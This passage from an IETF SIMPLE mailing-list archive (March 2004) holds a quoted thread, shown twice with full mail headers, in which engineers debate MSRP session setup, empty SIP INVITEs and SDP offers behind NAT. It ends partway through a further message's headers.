	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA02990
	for <simple@ietf.org>; Thu, 4 Mar 2004 01:06:44 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aym0J-0007bw-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:06:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AylyY-00073Y-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:04:56 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aylwe-0006Nz-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:02:56 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-2.cisco.com with ESMTP; 03 Mar 2004 22:14:39 +0000
Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i2462nF8026675;
	Wed, 3 Mar 2004 22:02:49 -0800 (PST)
Received: from [218.37.230.63] (tokyo-vpn-user90.cisco.com [10.70.82.90])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AMX18413;
	Wed, 3 Mar 2004 22:02:46 -0800 (PST)
User-Agent: Microsoft-Entourage/10.1.4.030702.0
Subject: Re: [Simple] RE: MSRP & Comedia
From: Cullen Jennings <fluffy@cisco.com>
To: <hisham.khartabil@nokia.com>, Adam Roach <adam@dynamicsoft.com>,
        <rohan@cisco.com>
CC: Paul H Kyzivat <pkyzivat@cisco.com>, <bcampbell@dynamicsoft.com>,
        <rsparks@dynamicsoft.com>, <simple@ietf.org>
Message-ID: <BC6CF596.341B4%fluffy@cisco.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB70179782A@esebe019.ntc.nokia.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 15:02:46 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit


I've lost what the key part of this discussion is. Should we use it here? I
agree - much rather not. Hope to find a better way.

However, UA Servers have to deal with Invites with no offer. If we want to
deprecate this out of 3261 - that is going to be a big deal.  If we are
defining something that does not work with 3261 - that is going to cause
some grief. Definitely agree we should try not to use it.

On the stuff here, I wonder about the problems with a SDP offer that
provides no way for the other end to send media to the device making the
offer. 


Cullen


On 3/3/04 10:51 PM, "hisham.khartabil@nokia.com"
<hisham.khartabil@nokia.com> wrote:

> Just for the recond, I fully support adam's views on this issue.
> 
> /Hisham
> 
>> -----Original Message-----
>> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
>> ext Adam Roach
>> Sent: 03.March.2004 12:39
>> To: 'Rohan Mahy'; Adam Roach
>> Cc: 'Paul Kyzivat'; Ben Campbell; 'Cullen Jennings'; Robert Sparks;
>> simple@ietf.org
>> Subject: RE: [Simple] RE: MSRP & Comedia
>> 
>> 
>> I really don't like the prospect of requiring caller
>> prefs to avoid these kind of bizarre and unfortunate
>> user experiences.
>> 
>> My main point is that using empty INVITEs seems to
>> cause more problems than it solves. Are these problems
>> completely intractable? Probably not. Are they
>> unpleasant? Well, I certainly think so.
>> 
>> So, given the chance, I'd far prefer to see solutions
>> that don't require callee offers explored before we
>> resort to a tool that brings unpleasant consequences
>> (or, at the very least, specific additional mechanisms
>> added throughout the system).
>> 
>> /a
>> 
>>> -----Original Message-----
>>> From: Rohan Mahy [mailto:rohan@cisco.com]
>>> Sent: Wednesday, March 03, 2004 2:17
>>> To: Adam Roach
>>> Cc: 'Paul Kyzivat'; Ben Campbell; Rohan Mahy; 'Cullen
>>> Jennings'; Robert
>>> Sparks; simple@ietf.org
>>> Subject: Re: [Simple] RE: MSRP & Comedia
>>> 
>>> 
>>> Adam,
>>> 
>>> You could use caller prefs even with your
>> rusty/dusty/trusty "legacy"
>>> SIP phone  ;-).
>>> 
>>> You would need something to add media feature parameters to the
>>> registration of the 7960 on its behalf.  This is not that
>> big a deal.
>>> 
>>> thanks,
>>> -rohan
>>> 
>>> 
>>> On Mar 3, 2004, at 4:49 PM, Adam Roach wrote:
>>> 
>>>> That's all great. Now tell me how it works using
>>>> the Cisco 7960 sitting on my desk right now. Assume
>>>> that upgrading the software is not an option.
>>>> 
>>>> /a
>>>> 
>>>>> -----Original Message-----
>>>>> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>>>> Sent: Tuesday, March 02, 2004 20:09
>>>>> To: Adam Roach
>>>>> Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
>>>>> simple@ietf.org
>>>>> Subject: Re: [Simple] RE: MSRP & Comedia
>>>>> 
>>>>> 
>>>>> There are a couple of solutions to the bad user experience
>>>>> you outline:
>>>>> 
>>>>> - the UAC can use callerprefs to indicate what media it desires.
>>>>>    For this to work the UAS would have to evaluate the
>> callerprefs,
>>>>>    which isn't currently required or expected.
>>>>> 
>>>>> - preconditions could be used to ensure that there is a
>>> satisfactory
>>>>>    agreement on media before alerting. In this particular
>>>>> case it would
>>>>>    be the UAS that inserts the preconditions as a way of
>>> improving the
>>>>>    user experience at its end. Most any precondition would
>>> do, though
>>>>>    the newly proposed connectivity precondition would be quite
>>>>>    appropriate. A hypothetical new precondition relating to
>>>>> negotiation
>>>>>    of some acceptable (set of) media stream(s) might also be
>>>>> interesting.
>>>>> 
>>>>> Paul
>>>>> 
>>>>> Adam Roach wrote:
>>>>>> Okay, so, the user experience you're promoting
>>>>>> here would lead to a situation in which you open
>>>>>> up your IM client, type in a message for me,
>>>>>> and my desktop hard phone starts ringing. Several
>>>>>> seconds later, I pick up the receiver, my hardphone
>>>>>> sends a "200 OK" response, and... well, nothing
>>>>>> good can come of any result at this point.
>>>>>> 
>>>>>> If your client supports audio, my voice is suddenly
>>>>>> coming out of your PC speakers. If not, the call
>>>>>> is torn down, your client renders an error to you,
>>>>>> sends me a bye, and I'm sitting there holding a dead
>>>>>> handset.
>>>>>> 
>>>>>> This is the problem that I've pointed out occasionally
>>>>>> for several years: this "send an INVITE with no body"
>>>>>> approach for setting up sessions causes all kinds
>>>>>> of problems. It was originally added for interwork
>>>>>> with the prehistoric H.323v1 procedures, and not killed
>>>>>> because we observed that it can be used in this clever
>>>>>> 3pcc hack -- but it invariably leads to a message that
>>>>>> semantically means the same thing as the dialog
>>>>>> box that I sent earlier.
>>>>>> 
>>>>>> /a
>>>>>> 
>>>>>> 
>>>>>>> -----Original Message-----
>>>>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>> Sent: Monday, March 01, 2004 8:38
>>>>>>> To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>>>>>> Cc: simple@ietf.org
>>>>>>> Subject: Re: [Simple] RE: MSRP & Comedia
>>>>>>> 
>>>>>>> 
>>>>>>> 
>>>>>>> It just sends an offer with all three and then the other ends
>>>>>>> selects. This
>>>>>>> is how SIP is today - you can send an invite with no offer
>>>>>>> then get the
>>>>>>> offer in the response and put the answer in the ack.
>>>>>>> 
>>>>>>> On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>>>>>> 
>>>>>>> 
>>>>>>>> From a protocol perspective, this sounds reasonable.
>>>>>>>> 
>>>>>>>> I think the key problem is that the first example shifts the
>>>>>>>> decision of what type of communication is requested
>>>>>>>> from the caller to the callee. Without getting into a
>> discussion
>>>>>>>> of whether that is the "right" thing to do, it certainly is
>>>>>>>> going to differ from user expectations.
>>>>>>>> 
>>>>>>>> +----------------------------------------------+
>>>>>>>> | Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>>>>>> | to start a conversation, but I have no idea  |
>>>>>>>> | what kind. Take your best guess:             |
>>>>>>>> |                                              |
>>>>>>>> |    +-------+  +-----------------+  +----+    |
>>>>>>>> |    | Voice |  | Voice and video |  | IM |    |
>>>>>>>> |    +-------+  +-----------------+  +----+    |
>>>>>>>> +----------------------------------------------+
>>>>>>>> 
>>>>>>>> /a
>>>>>>>> 
>>>>>>>> 
>>>>>>>>> -----Original Message-----
>>>>>>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>>>> Sent: Friday, February 27, 2004 0:50
>>>>>>>>> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>>>>>> Cc: simple@ietf.org
>>>>>>>>> Subject: MSRP & Comedia
>>>>>>>>> 
>>>>>>>>> 
>>>>>>>>> 
>>>>>>>>> This is a half baked idea that I am just tossing out as food
>>>>>>>>> for thought
>>>>>>>>> 
>>>>>>>>> Consider a systems where something like the UA that sends the
>>>>>>>>> answer sends
>>>>>>>>> the VISIT.
>>>>>>>>> 
>>>>>>>>> Consider the cases where A want to set up a MSRP
>>> session with B.
>>>>>>>>> 
>>>>>>>>> A is behind a NAT and does not want to use a relay. A sends
>>>>>>>>> an INVITE with
>>>>>>>>> no offer. B sends an offer, gets back an answer and A
>>>>>>>> 
>>>>>>> sends the VISIT.
>>>>>>> 
>>>>>>>>> A -> inv    -> B
>>>>>>>>> A <- offer  <- B
>>>>>>>>> A -> answer -> B
>>>>>>>>> A -> visit  -> B
>>>>>>>>> 
>>>>>>>>> B is behind a NAT. A sends an offer and B sends an answer and
>>>>>>>>> A sends VISIT.
>>>>>>>>> A -> offer  -> B
>>>>>>>>> A <- answer <- B
>>>>>>>>> A <- visit  <- B
>>>>>>>>> 
>>>>>>>>> A and B are behind NATS. A sends INVITE no offer, B knows
>>>>>>>>> relay is needed
>>>>>>>>> and gets one and sends offer.
>>>>>>>>> 
>>>>>>>>> The underlying principal is basically if you don't know what
>>>>>>>>> port you are
>>>>>>>>> going to receive media at (which is the case with a NAT) you
>>>>>>>>> should not be
>>>>>>>>> making any offers and if you make an offer the assumption is
>>>>>>>>> that the other
>>>>>>>>> side and send media (a VISIT) to that and have it work.
>>>>>>>>> 
>>>>>>>>> The fundamental thing I am trying to avoid is two vendors
>>>>>>>>> both saying they
>>>>>>>>> have MSRP compliant systems yet still having them fail to be
>>>>>>>>> able to talk to
>>>>>>>>> each other because they both expect the other one to host.
>>>>>>>>> 
>>>>>>>> 
>>>>>>>> _______________________________________________
>>>>>>>> Simple mailing list
>>>>>>>> Simple@ietf.org
>>>>>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>>>>>> 
>>>>>>> 
>>>>>>> 
>>>>>>> _______________________________________________
>>>>>>> Simple mailing list
>>>>>>> Simple@ietf.org
>>>>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>>>>> 
>>>>>> 
>>>>>> 
>>>>>> _______________________________________________
>>>>>> Simple mailing list
>>>>>> Simple@ietf.org
>>>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>>>> 
>>>>> 
>>> 
>> 
>> _______________________________________________
>> Simple mailing list
>> Simple@ietf.org
>> https://www1.ietf.org/mailman/listinfo/simple
>> 
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar  4 01:09:44 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA03447
	for <simple-archive@odin.ietf.org>; Thu, 4 Mar 2004 01:09:44 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aym2l-0000uM-Qn
	for simple-archive@odin.ietf.org; Thu, 04 Mar 2004 01:09:15 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2469FUY003487
	for simple-archive@odin.ietf.org; Thu, 4 Mar 2004 01:09:15 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aym2l-0000uA-Ko
	for simple-web-archive@optimus.ietf.org; Thu, 04 Mar 2004 01:09:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA03368
	for <simple-web-archive@ietf.org>; Thu, 4 Mar 2004 01:09:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aym2i-0000X9-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 01:09:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Aym1n-0000If-00
	for simple-web-archive@ietf.org; Thu, 04 Mar 2004 01:08:16 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aym0j-0007j7-00; Thu, 04 Mar 2004 01:07:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aym0c-00005a-G6; Thu, 04 Mar 2004 01:07:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aym0M-0008Ob-JT
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 01:06:46 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA02990
	for <simple@ietf.org>; Thu, 4 Mar 2004 01:06:44 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aym0J-0007bw-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:06:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AylyY-00073Y-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:04:56 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aylwe-0006Nz-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:02:56 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-2.cisco.com with ESMTP; 03 Mar 2004 22:14:39 +0000
Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i2462nF8026675;
	Wed, 3 Mar 2004 22:02:49 -0800 (PST)
Received: from [218.37.230.63] (tokyo-vpn-user90.cisco.com [10.70.82.90])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AMX18413;
	Wed, 3 Mar 2004 22:02:46 -0800 (PST)
User-Agent: Microsoft-Entourage/10.1.4.030702.0
Subject: Re: [Simple] RE: MSRP & Comedia
From: Cullen Jennings <fluffy@cisco.com>
To: <hisham.khartabil@nokia.com>, Adam Roach <adam@dynamicsoft.com>,
        <rohan@cisco.com>
CC: Paul H Kyzivat <pkyzivat@cisco.com>, <bcampbell@dynamicsoft.com>,
        <rsparks@dynamicsoft.com>, <simple@ietf.org>
Message-ID: <BC6CF596.341B4%fluffy@cisco.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB70179782A@esebe019.ntc.nokia.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 04 Mar 2004 15:02:46 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


I've lost what the key part of this discussion is. Should we use it here? I
agree - much rather not. Hope to find a better way.

However, UA Servers have to deal with Invites with no offer. If we want to
deprecate this out of 3261 - that is going to be a big deal.  If we are
defining something that does not work with 3261 - that is going to cause
some grief. Definitely agree we should try not to use it.

On the stuff here, I wonder about the problems with a SDP offer that
provides no way for the other end to send media to the device making the
offer. 


Cullen


On 3/3/04 10:51 PM, "hisham.khartabil@nokia.com"
<hisham.khartabil@nokia.com> wrote:

> Just for the recond, I fully support adam's views on this issue.
> 
> /Hisham
> 
>> -----Original Message-----
>> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
>> ext Adam Roach
>> Sent: 03.March.2004 12:39
>> To: 'Rohan Mahy'; Adam Roach
>> Cc: 'Paul Kyzivat'; Ben Campbell; 'Cullen Jennings'; Robert Sparks;
>> simple@ietf.org
>> Subject: RE: [Simple] RE: MSRP & Comedia
>> 
>> 
>> I really don't like the prospect of requiring caller
>> prefs to avoid these kind of bizarre and unfortunate
>> user experiences.
>> 
>> My main point is that using empty INVITEs seems to
>> cause more problems than it solves. Are these problems
>> completely intractable? Probably not. Are they
>> unpleasant? Well, I certainly think so.
>> 
>> So, given the chance, I'd far prefer to see solutions
>> that don't require callee offers explored before we
>> resort to a tool that brings unpleasant consequences
>> (or, at the very least, specific additional mechanisms
>> added throughout the system).
>> 
>> /a
>> 
>>> -----Original Message-----
>>> From: Rohan Mahy [mailto:rohan@cisco.com]
>>> Sent: Wednesday, March 03, 2004 2:17
>>> To: Adam Roach
>>> Cc: 'Paul Kyzivat'; Ben Campbell; Rohan Mahy; 'Cullen
>>> Jennings'; Robert
>>> Sparks; simple@ietf.org
>>> Subject: Re: [Simple] RE: MSRP & Comedia
>>> 
>>> 
>>> Adam,
>>> 
>>> You could use caller prefs even with your
>> rusty/dusty/trusty "legacy"
>>> SIP phone  ;-).
>>> 
>>> You would need something to add media feature parameters to the
>>> registration of the 7960 on its behalf.  This is not that
>> big a deal.
>>> 
>>> thanks,
>>> -rohan
>>> 
>>> 
>>> On Mar 3, 2004, at 4:49 PM, Adam Roach wrote:
>>> 
>>>> That's all great. Now tell me how it works using
>>>> the Cisco 7960 sitting on my desk right now. Assume
>>>> that upgrading the software is not an option.
>>>> 
>>>> /a
>>>> 
>>>>> -----Original Message-----
>>>>> From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>>>> Sent: Tuesday, March 02, 2004 20:09
>>>>> To: Adam Roach
>>>>> Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
>>>>> simple@ietf.org
>>>>> Subject: Re: [Simple] RE: MSRP & Comedia
>>>>> 
>>>>> 
>>>>> There are a couple of solutions to the bad user experience
>>>>> you outline:
>>>>> 
>>>>> - the UAC can use callerprefs to indicate what media it desires.
>>>>>    For this to work the UAS would have to evaluate the
>> callerprefs,
>>>>>    which isn't currently required or expected.
>>>>> 
>>>>> - preconditions could be used to ensure that there is a
>>> satisfactory
>>>>>    agreement on media before alerting. In this particular
>>>>> case it would
>>>>>    be the UAS that inserts the preconditions as a way of
>>> improving the
>>>>>    user experience at its end. Most any precondition would
>>> do, though
>>>>>    the newly proposed connectivity precondition would be quite
>>>>>    appropriate. A hypothetical new precondition relating to
>>>>> negotiation
>>>>>    of some acceptable (set of) media stream(s) might also be
>>>>> interesting.
>>>>> 
>>>>> Paul
>>>>> 
>>>>> Adam Roach wrote:
>>>>>> Okay, so, the user experience you're promoting
>>>>>> here would lead to a situation in which you open
>>>>>> up your IM client, type in a message for me,
>>>>>> and my desktop hard phone starts ringing. Several
>>>>>> seconds later, I pick up the receiver, my hardphone
>>>>>> sends a "200 OK" response, and... well, nothing
>>>>>> good can come of any result at this point.
>>>>>> 
>>>>>> If your client supports audio, my voice is suddenly
>>>>>> coming out of your PC speakers. If not, the call
>>>>>> is torn down, your client renders an error to you,
>>>>>> sends me a bye, and I'm sitting there holding a dead
>>>>>> handset.
>>>>>> 
>>>>>> This is the problem that I've pointed out occasionally
>>>>>> for several years: this "send an INVITE with no body"
>>>>>> approach for setting up sessions causes all kinds
>>>>>> of problems. It was originally added for interwork
>>>>>> with the prehistoric H.323v1 procedures, and not killed
>>>>>> because we observed that it can be used in this clever
>>>>>> 3pcc hack -- but it invariably leads to a message that
>>>>>> semantically means the same thing as the dialog
>>>>>> box that I sent earlier.
>>>>>> 
>>>>>> /a
>>>>>> 
>>>>>> 
>>>>>>> -----Original Message-----
>>>>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>> Sent: Monday, March 01, 2004 8:38
>>>>>>> To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>>>>>> Cc: simple@ietf.org
>>>>>>> Subject: Re: [Simple] RE: MSRP & Comedia
>>>>>>> 
>>>>>>> 
>>>>>>> 
>>>>>>> It just sends an offer with all three and then the other ends
>>>>>>> selects. This
>>>>>>> is how SIP is today - you can send an invite with no offer
>>>>>>> then get the
>>>>>>> offer in the response and put the answer in the ack.
>>>>>>> 
>>>>>>> On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>>>>>> 
>>>>>>> 
>>>>>>>> From a protocol perspective, this sounds reasonable.
>>>>>>>> 
>>>>>>>> I think the key problem is that the first example shifts the
>>>>>>>> decision of what type of communication is requested
>>>>>>>> from the caller to the callee. Without getting into a
>> discussion
>>>>>>>> of whether that is the "right" thing to do, it certainly is
>>>>>>>> going to differ from user expectations.
>>>>>>>> 
>>>>>>>> +----------------------------------------------+
>>>>>>>> | Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>>>>>> | to start a conversation, but I have no idea  |
>>>>>>>> | what kind. Take your best guess:             |
>>>>>>>> |                                              |
>>>>>>>> |    +-------+  +-----------------+  +----+    |
>>>>>>>> |    | Voice |  | Voice and video |  | IM |    |
>>>>>>>> |    +-------+  +-----------------+  +----+    |
>>>>>>>> +----------------------------------------------+
>>>>>>>> 
>>>>>>>> /a
>>>>>>>> 
>>>>>>>> 
>>>>>>>>> -----Original Message-----
>>>>>>>>> From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>>>> Sent: Friday, February 27, 2004 0:50
>>>>>>>>> To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>>>>>> Cc: simple@ietf.org
>>>>>>>>> Subject: MSRP & Comedia
>>>>>>>>> 
>>>>>>>>> 
>>>>>>>>> 
>>>>>>>>> This is a half baked idea that I am just tossing out as food
>>>>>>>>> for thought
>>>>>>>>> 
>>>>>>>>> Consider a systems where something like the UA that sends the
>>>>>>>>> answer sends
>>>>>>>>> the VISIT.
>>>>>>>>> 
>>>>>>>>> Consider the cases where A want to set up a MSRP
>>> session with B.
>>>>>>>>> 
>>>>>>>>> A is behind a NAT and does not want to use a relay. A sends
>>>>>>>>> an INVITE with
>>>>>>>>> no offer. B sends an offer, gets back an answer and A
>>>>>>>> 
>>>>>>> sends the VISIT.
>>>>>>> 
>>>>>>>>> A -> inv    -> B
>>>>>>>>> A <- offer  <- B
>>>>>>>>> A -> answer -> B
>>>>>>>>> A -> visit  -> B
>>>>>>>>> 
>>>>>>>>> B is behind a NAT. A sends an offer and B sends an answer and
>>>>>>>>> A sends VISIT.
>>>>>>>>> A -> offer  -> B
>>>>>>>>> A <- answer <- B
>>>>>>>>> A <- visit  <- B
>>>>>>>>> 
>>>>>>>>> A and B are behind NATS. A sends INVITE no offer, B knows
>>>>>>>>> relay is needed
>>>>>>>>> and gets one and sends offer.
>>>>>>>>> 
>>>>>>>>> The underlying principal is basically if you don't know what
>>>>>>>>> port you are
>>>>>>>>> going to receive media at (which is the case with a NAT) you
>>>>>>>>> should not be
>>>>>>>>> making any offers and if you make an offer the assumption is
>>>>>>>>> that the other
>>>>>>>>> side and send media (a VISIT) to that and have it work.
>>>>>>>>> 
>>>>>>>>> The fundamental thing I am trying to avoid is two vendors
>>>>>>>>> both saying they
>>>>>>>>> have MSRP compliant systems yet still having them fail to be
>>>>>>>>> able to talk to
>>>>>>>>> each other because they both expect the other one to host.
>>>>>>>>> 
>>>>>>>> 
>>>>>>>> _______________________________________________
>>>>>>>> Simple mailing list
>>>>>>>> Simple@ietf.org
>>>>>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>>>>>> 
>>>>>>> 
>>>>>>> 
>>>>>>> _______________________________________________
>>>>>>> Simple mailing list
>>>>>>> Simple@ietf.org
>>>>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>>>>> 
>>>>>> 
>>>>>> 
>>>>>> _______________________________________________
>>>>>> Simple mailing list
>>>>>> Simple@ietf.org
>>>>>> https://www1.ietf.org/mailman/listinfo/simple
>>>>>> 
>>>>> 
>>> 
>> 
>> _______________________________________________
>> Simple mailing list
>> Simple@ietf.org
>> https://www1.ietf.org/mailman/listinfo/simple
>> 
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar  4 01:11:34 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA03588
	for <simple-archive@ietf.org>; Thu, 4 Mar 2004 01:11:34 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aym4z-00011k-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 01:11:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Aym3u-0000mi-00
	for simple-archive@ietf.org; Thu, 04 Mar 2004 01:10:27 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aym30-0000Zw-00; Thu, 04 Mar 2004 01:09:30 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aym1Z-0000R8-VM; Thu, 04 Mar 2004 01:08:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aym0d-00006B-Ge
	for simple@optimus.ietf.org; Thu, 04 Mar 2004 01:07:03 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA03045
	for <simple@ietf.org>; Thu, 4 Mar 2004 01:07:01 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aym0a-0007f1-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:07:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Aylz0-0007Fz-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:05:24 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aylx3-0006Rt-00
	for simple@ietf.org; Thu, 04 Mar 2004 01:03:21 -0500
Received: from sj-core-2.cisco.com (171.71.177.254)
  by sj-iport-2.cisco.com with ESMTP; 03 Mar 2004 22:14:54 +0000
Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i24634Y6029222;
	Wed, 3 Mar 2004 22:03:05 -0800 (PST)
Received: from [218.37.230.63] (tokyo-vpn-user90.cisco.com [10.70.82.90])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AMX18434;
	Wed, 3 Mar 2004 22:03:03 -0800 (PST)
User-Agent: Microsoft-Entourage/10.1.4.030702.0
Subject: Re: [Simple] RE: MSRP & Comedia
From: Cullen Jennings <fluffy@cisco.com>
To: Adam Roach <adam@dynamicsoft.com>, Paul H Kyzivat <pkyzivat@cisco.com>
CC: Ben Campbell <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>,
        <simple@ietf.org>
Message-ID: <BC6CF5A7.341B6%fluffy@cisco.com>
In-Reply-To: <9ACE0CEE075B494096C86C23878BF85906A35E@dyn-tx-exch-001.dynamicsoft.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
